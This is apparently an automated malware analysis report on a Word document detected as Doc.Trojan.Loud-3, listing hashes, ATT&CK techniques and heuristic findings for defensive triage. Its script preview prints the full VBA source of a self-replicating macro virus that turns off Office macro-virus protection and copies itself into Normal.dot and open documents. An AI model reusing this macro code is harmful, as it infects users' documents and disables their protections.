Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b234cb7e5e9f77e…

MALICIOUS

Office (OLE)

33.0 KB Created: 1999-01-01 14:27:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-18
MD5: 2dd664465493e9b40f9f4b19a2d82300 SHA-1: a36099bccb82e45461baf3623f591a66b68b3fd7 SHA-256: 4b234cb7e5e9f77e70f81a08f32a6a0038e7968afd5252994dacfb13d0f22289
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros. The script attempts to disable macro virus protection and replicate its code into the Normal.dot template and the document's own template. This self-replication behavior, along with disabling protection, is indicative of malware aiming for persistence and evasion.

Heuristics 3

  • ClamAV: Doc.Trojan.Loud-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Loud-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 792 bytes
SHA-256: a14394de6fdd55d0a44fff09aea92324e36c6818a284850f56bab27b297359f9
Detection
ClamAV: Doc.Trojan.Loud-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()
'1nternal
On Error GoTo Break
Set A = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set N = NormalTemplate.VBProject.VBComponents(1).CodeModule
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
If N.Lines(2, 1) = "'1nternal" Then GoTo CheckA
For I = 1 To 19
N.InsertLines I, A.Lines(I, 1)
Next I
CheckA:
If A.Lines(2, 1) = "'1nternal" Then GoTo Break
For I = 1 To 19
A.InsertLines I, N.Lines(I, 1)
Next I
Break:
End Sub

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